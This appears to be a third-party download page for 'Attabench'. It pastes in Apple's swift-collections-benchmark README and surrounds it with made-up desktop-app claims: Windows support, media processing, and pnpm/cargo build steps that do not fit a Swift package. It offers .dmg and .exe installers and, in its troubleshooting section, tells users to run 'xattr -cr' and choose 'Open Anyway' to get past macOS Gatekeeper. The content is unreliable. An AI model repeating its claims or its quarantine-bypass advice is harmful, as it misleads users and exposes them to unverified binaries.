Attabench Free and Open Source Desktop App CookApps CookApps Marketplace

Overview

![](https://swiftpackageindex.com/apple/swift-collections-benchmark) ![](https://swiftpackageindex.com/apple/swift-collections-benchmark) This package lets you collect and easily visualize performance data about data structure implementations and collection algorithms. It was created to help develop the [Swift Collections] package, but it's useful for so much more! [Swift Collections]: https://github.com/apple/swift-collections This project primarily concentrates on benchmarking Swift code, but it can also be used to run benchmarks (and, especially, to analyze benchmark results) in other languages, too.

Attabench is built on open-source principles to guarantee security, privacy, and full reproducibility. All sensitive data transformations run locally on your hardware with zero telemetry or unexpected cloud dependencies.

Key Technical Features & Capabilities

Native Desktop Architecture: Engineered as a standalone desktop binary with near-instant startup and zero background telemetry.

Local-First Privacy: Executes all core data transformations, media processing, and configuration storage 100% locally on your machine.

Optimized UI Workflow: Apple Human Interface Guidelines-inspired design with dark mode, customizable keyboard shortcuts, and responsive layouts.

Zero Cloud Dependencies: Operates completely offline without requiring cloud accounts, third-party analytics, or external API keys.

Architecture & Technology Stack

Primary Languages: Swift

Frameworks & UI Runtime: SwiftUI / AppKit

Build Systems & Tooling: Xcode / Node.js / Cargo

Supported Platforms: macOS 12.0+ (Apple Silicon M1-M4 & Intel x86_64), Windows 10/11 x64, Linux

System Requirements

Specification	Minimum Requirement	Recommended Specification
Operating System	macOS 12.0 Monterey / Windows 10 x64	macOS 14.0+ Sonoma / Windows 11 x64
Processor Architecture	Apple Silicon (M1+) or Intel Core i5 x64	Apple Silicon Unified Memory (M2/M3/M4)
Memory (RAM)	4 GB Unified RAM	8 GB+ High-Speed RAM
Storage Space	300 MB available local disk space	1 GB+ SSD storage
GPU Acceleration	Metal 2 / DirectX 12 compatible	Apple Neural Engine / Vulkan capable

Installation & Setup Guide

2 Redit

macOS Installation (Recommended)

Download the verified .dmg release installer directly from CookApps.

Open the disk image and drag Attabench.app into your /Applications folder.

Launch Attabench via Spotlight (Cmd + Space) or Launchpad.

Alternatively, install using Homebrew if available:

bash

brew install --cask attabench

Windows Installation

Download the official installer package (.exe / .msi).

Run the executable and follow the setup wizard.

Launch Attabench from the Start Menu or desktop shortcut.

Building from Source (Development Setup)

bash

git clone https://github.com/apple/swift-collections-benchmark.git
cd swift-collections-benchmark
pnpm install || cargo build --release
pnpm run build

Installation & Setup Guide

Mở khóa ứng dụng để xem chi tiết hướng dẫn cài đặt, cấu hình môi trường và vận hành.

How to Use & Workflow

2 Redit

Application Launch & Workspace: Open Attabench to load the responsive native workspace.

Configuration & Preferences: Press Cmd + , (macOS) or Ctrl + , (Windows) to configure hardware acceleration, custom directories, and display themes.

Primary Operation: Drag-and-drop source files or input parameters directly into the central window.

Execution & Export: Initiate the processing pipeline and verify output files saved directly to your chosen local directory.

How to Use & Workflow

Mở khóa ứng dụng để xem chi tiết hướng dẫn cài đặt, cấu hình môi trường và vận hành.

Troubleshooting & Common Issues

Problem: macOS Gatekeeper displays *"App is damaged and can't be opened"* or unnotarized developer notice.

Root Cause: macOS quarantine flag set on binaries downloaded outside the Mac App Store.

Resolution: Open Terminal and run:

bash

    xattr -cr /Applications/Attabench.app

Alternatively, navigate to System Settings > Privacy & Security and select Open Anyway.

Problem: High memory consumption during batch processing operations.

Root Cause: Large media buffers retaining uncompressed state.

Resolution: Adjust batch concurrency in settings or process assets in focused batches.

Attabench

Overview

Key Technical Features & Capabilities

Architecture & Technology Stack

System Requirements

Installation & Setup Guide

macOS Installation (Recommended)

Windows Installation

Building from Source (Development Setup)

Installation & Setup Guide

How to Use & Workflow

How to Use & Workflow

Troubleshooting & Common Issues

How to Use & Getting Started

How to Use & Getting Started

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